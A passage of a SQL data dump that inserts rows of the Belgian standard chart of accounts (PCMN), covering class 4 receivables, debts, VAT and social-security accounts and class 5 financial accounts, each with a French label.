douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(873,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','408',853,'Compensation clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(874,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','409',853,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(875,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','41',1354,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(876,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','410',875,'Capital appelé, non versé',NULL,0,NULL,NULL,1,0,NULL,NULL),(877,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4100',876,'Appels de fonds',NULL,0,NULL,NULL,1,0,NULL,NULL),(878,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4101',876,'Actionnaires défaillants',NULL,0,NULL,NULL,1,0,NULL,NULL),(879,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','411',875,'T.V.A. à récupérer',NULL,0,NULL,NULL,1,0,NULL,NULL),(880,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4110',879,'T.V.A. due',NULL,0,NULL,NULL,1,0,NULL,NULL),(881,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4111',879,'T.V.A. déductible',NULL,0,NULL,NULL,1,0,NULL,NULL),(882,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4112',879,'Compte courant administration T.V.A.',NULL,0,NULL,NULL,1,0,NULL,NULL),(883,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4118',879,'Taxe d\'égalisation due',NULL,0,NULL,NULL,1,0,NULL,NULL),(884,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','412',875,'Impôts et versements fiscaux à récupérer',NULL,0,NULL,NULL,1,0,NULL,NULL),(885,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4120',884,'Impôts belges sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(886,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4125',884,'Autres impôts belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(887,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4128',884,'Impôts étrangers',NULL,0,NULL,NULL,1,0,NULL,NULL),(888,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','414',875,'Produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(889,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','416',875,'Créances diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(890,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4160',889,'Associés (compte d\'apport en société)',NULL,0,NULL,NULL,1,0,NULL,NULL),(891,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4161',889,'Avances et prêts au personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(892,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4162',889,'Compte courant des associés en S.P.R.L.',NULL,0,NULL,NULL,1,0,NULL,NULL),(893,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4163',889,'Compte courant des administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(894,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4164',889,'Créances sur sociétés apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(895,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4166',889,'Emballages et matériel à rendre',NULL,0,NULL,NULL,1,0,NULL,NULL),(896,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4167',889,'Etat et établissements publics',NULL,0,NULL,NULL,1,0,NULL,NULL),(897,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','41670',896,'Subsides à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(898,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','41671',896,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(899,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4168',889,'Rabais, ristournes et remises à obtenir et autres avoirs non encore reçus',NULL,0,NULL,NULL,1,0,NULL,NULL),(900,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','417',875,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(901,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','418',875,'Cautionnements versés en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(902,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','419',875,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(903,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','42',1354,'Dettes à plus d\'un an échéant dans l\'année',NULL,0,NULL,NULL,1,0,NULL,NULL),(904,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','420',903,'Emprunts subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(905,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4200',904,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(906,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4201',904,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(907,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','421',903,'Emprunts obligataires non subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(908,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4210',907,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(909,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4211',907,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(910,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','422',903,'Dettes de location-financement et assimilées',NULL,0,NULL,NULL,1,0,NULL,NULL),(911,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4220',910,'Financement de biens immobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(912,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4221',910,'Financement de biens mobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(913,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','423',903,'Etablissements de crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(914,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4230',913,'Dettes en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(915,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4231',913,'Promesses',NULL,0,NULL,NULL,1,0,NULL,NULL),(916,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4232',913,'Crédits d\'acceptation',NULL,0,NULL,NULL,1,0,NULL,NULL),(917,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','424',903,'Autres emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(918,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','425',903,'Dettes commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(919,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4250',918,'Fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(920,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4251',918,'Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(921,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','426',903,'Cautionnements reçus en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(922,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','429',903,'Dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(923,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4290',922,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(924,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4291',922,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(925,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4292',922,'Administrateurs, gérants, associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(926,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4299',922,'Autres dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(927,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','43',1354,'Dettes financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(928,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','430',927,'Etablissements de crédit. Emprunts en compte à terme fixe',NULL,0,NULL,NULL,1,0,NULL,NULL),(929,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','431',927,'Etablissements de crédit. Promesses',NULL,0,NULL,NULL,1,0,NULL,NULL),(930,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','432',927,'Etablissements de crédit. Crédits d\'acceptation',NULL,0,NULL,NULL,1,0,NULL,NULL),(931,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','433',927,'Etablissements de crédit. Dettes en compte courant',NULL,0,NULL,NULL,1,0,NULL,NULL),(932,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','439',927,'Autres emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(933,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44',1354,'Dettes commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(934,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','440',933,'Fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(935,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4400',934,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(936,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44000',935,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(937,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44001',935,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(938,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4401',934,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(939,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44010',938,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(940,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44011',938,'Fournisseurs CEE',NULL,0,NULL,NULL,1,0,NULL,NULL),(941,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44012',938,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(942,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4402',934,'Dettes envers les coparticipants (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(943,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4403',934,'Fournisseurs - retenues de garanties',NULL,0,NULL,NULL,1,0,NULL,NULL),(944,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','441',933,'Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(945,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4410',944,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(946,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44100',945,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(947,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44101',945,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(948,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4411',944,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(949,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44110',948,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(950,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44111',948,'Fournisseurs CEE',NULL,0,NULL,NULL,1,0,NULL,NULL),(951,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44112',948,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(952,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','444',933,'Factures à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(953,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','446',933,'Acomptes reçus',NULL,0,NULL,NULL,1,0,NULL,NULL),(954,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','448',933,'Compensations fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(955,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45',1354,'Dettes fiscales, salariales et sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(956,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','450',955,'Dettes fiscales estimées',NULL,0,NULL,NULL,1,0,NULL,NULL),(957,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4501',956,'Impôts sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(958,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4505',956,'Autres impôts en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(959,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4508',956,'Impôts à l\'étranger',NULL,0,NULL,NULL,1,0,NULL,NULL),(960,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','451',955,'T.V.A. à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(961,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4510',960,'T.V.A. due',NULL,0,NULL,NULL,1,0,NULL,NULL),(962,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4511',960,'T.V.A. déductible',NULL,0,NULL,NULL,1,0,NULL,NULL),(963,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4512',960,'Compte courant administration T.V.A.',NULL,0,NULL,NULL,1,0,NULL,NULL),(964,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4518',960,'Taxe d\'égalisation due',NULL,0,NULL,NULL,1,0,NULL,NULL),(965,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','452',955,'Impôts et taxes à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(966,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4520',965,'Autres impôts sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(967,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4525',965,'Autres impôts et taxes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(968,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45250',967,'Précompte immobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(969,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45251',967,'Impôts communaux à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(970,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45252',967,'Impôts provinciaux à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(971,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45253',967,'Autres impôts et taxes à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(972,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4528',965,'Impôts et taxes à l\'étranger',NULL,0,NULL,NULL,1,0,NULL,NULL),(973,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','453',955,'Précomptes retenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(974,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4530',973,'Précompte professionnel retenu sur rémunérations',NULL,0,NULL,NULL,1,0,NULL,NULL),(975,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4531',973,'Précompte professionnel retenu sur tantièmes',NULL,0,NULL,NULL,1,0,NULL,NULL),(976,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4532',973,'Précompte mobilier retenu sur dividendes attribués',NULL,0,NULL,NULL,1,0,NULL,NULL),(977,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4533',973,'Précompte mobilier retenu sur intérêts payés',NULL,0,NULL,NULL,1,0,NULL,NULL),(978,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4538',973,'Autres précomptes retenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(979,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','454',955,'Office National de la Sécurité Sociale',NULL,0,NULL,NULL,1,0,NULL,NULL),(980,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4540',979,'Arriérés',NULL,0,NULL,NULL,1,0,NULL,NULL),(981,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4541',979,'1er trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(982,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4542',979,'2ème trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(983,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4543',979,'3ème trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(984,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4544',979,'4ème trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(985,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','455',955,'Rémunérations',NULL,0,NULL,NULL,1,0,NULL,NULL),(986,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4550',985,'Administrateurs, gérants et commissaires (non réviseurs)',NULL,0,NULL,NULL,1,0,NULL,NULL),(987,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4551',985,'Direction',NULL,0,NULL,NULL,1,0,NULL,NULL),(988,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4552',985,'Employés',NULL,0,NULL,NULL,1,0,NULL,NULL),(989,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4553',985,'Ouvriers',NULL,0,NULL,NULL,1,0,NULL,NULL),(990,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','456',955,'Pécules de vacances',NULL,0,NULL,NULL,1,0,NULL,NULL),(991,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4560',990,'Direction',NULL,0,NULL,NULL,1,0,NULL,NULL),(992,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4561',990,'Employés',NULL,0,NULL,NULL,1,0,NULL,NULL),(993,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4562',990,'Ouvriers',NULL,0,NULL,NULL,1,0,NULL,NULL),(994,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','459',955,'Autres dettes sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(995,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4590',994,'Provision pour gratifications de fin d\'année',NULL,0,NULL,NULL,1,0,NULL,NULL),(996,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4591',994,'Départs de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(997,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4592',994,'Oppositions sur rémunérations',NULL,0,NULL,NULL,1,0,NULL,NULL),(998,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4593',994,'Assurances relatives au personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(999,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45930',998,'Assurance loi',NULL,0,NULL,NULL,1,0,NULL,NULL),(1000,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45931',998,'Assurance salaire garanti',NULL,0,NULL,NULL,1,0,NULL,NULL),(1001,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45932',998,'Assurance groupe',NULL,0,NULL,NULL,1,0,NULL,NULL),(1002,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45933',998,'Assurances individuelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1003,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4594',994,'Caisse d\'assurances sociales pour travailleurs indépendants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1004,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4597',994,'Dettes et provisions sociales diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1005,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','46',1354,'Acomptes reçus sur commande',NULL,0,NULL,NULL,1,0,NULL,NULL),(1006,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','47',1354,'Dettes découlant de l\'affectation des résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1007,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','470',1006,'Dividendes et tantièmes d\'exercices antérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1008,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','471',1006,'Dividendes de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1009,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','472',1006,'Tantièmes de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1010,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','473',1006,'Autres allocataires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1011,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','48',4,'Dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1012,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','480',1011,'Obligations et coupons échus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1013,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','481',1011,'Actionnaires - capital à rembourser',NULL,0,NULL,NULL,1,0,NULL,NULL),(1014,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','482',1011,'Participation du personnel à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(1015,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','483',1011,'Acomptes reçus d\'autres tiers à moins d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1016,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','486',1011,'Emballages et matériel consignés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1017,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','488',1011,'Cautionnements reçus en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1018,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','489',1011,'Autres dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1019,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49',1354,'Comptes de régularisation et compte d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1020,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','490',1019,'Charges à reporter (à subdiviser par catégorie de charges)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1021,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','491',1019,'Produits acquis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1022,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4910',1021,'Produits d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1023,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49100',1022,'Ristournes et rabais à obtenir',NULL,0,NULL,NULL,1,0,NULL,NULL),(1024,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49101',1022,'Commissions à obtenir',NULL,0,NULL,NULL,1,0,NULL,NULL),(1025,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49102',1022,'Autres produits d\'exploitation (redevances par exemple)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1026,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4911',1021,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1027,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49110',1026,'Intérêts courus et non échus sur prêts et débits',NULL,0,NULL,NULL,1,0,NULL,NULL),(1028,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49111',1026,'Autres produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1029,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','492',1019,'Charges à imputer (à subdiviser par catégorie de charges)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1030,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','493',1019,'Produits à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1031,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4930',1030,'Produits d\'exploitation à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1032,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4931',1030,'Produits financiers à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1033,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','499',1019,'Comptes d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1034,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4990',1033,'Compte d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1035,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4991',1033,'Compte de répartition périodique des charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1036,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4999',1033,'Transferts d\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1037,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','50',1355,'Actions propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(1038,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','51',1355,'Actions et parts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1039,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','510',1038,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(1040,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','511',1038,'Montants non appelés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1041,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','519',1038,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1042,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','52',1355,'Titres à revenus fixes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1043,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','520',1042,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(1044,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','529',1042,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1045,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','53',1355,'Dépots à terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(1046,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','530',1045,'De plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1047,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','531',1045,'De plus d\'un mois et à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1048,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','532',1045,'d\'un mois au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1049,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','539',1045,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1050,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','54',1355,'Valeurs échues à l\'encaissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1051,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','540',1050,'Chèques à encaisser',NULL,0,NULL,NULL,1,0,NULL,NULL),(1052,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','541',1050,'Coupons à encaisser',NULL,0,NULL,NULL,1,0,NULL,NULL),(1053,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','55',1355,'Etablissements de crédit - Comptes ouverts auprès des divers établissements.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1054,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','550',1053,'Comptes courants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1055,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','551',1053,'Chèques émis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1056,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','559',1053,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1057,1,NULL,'2018-01-22 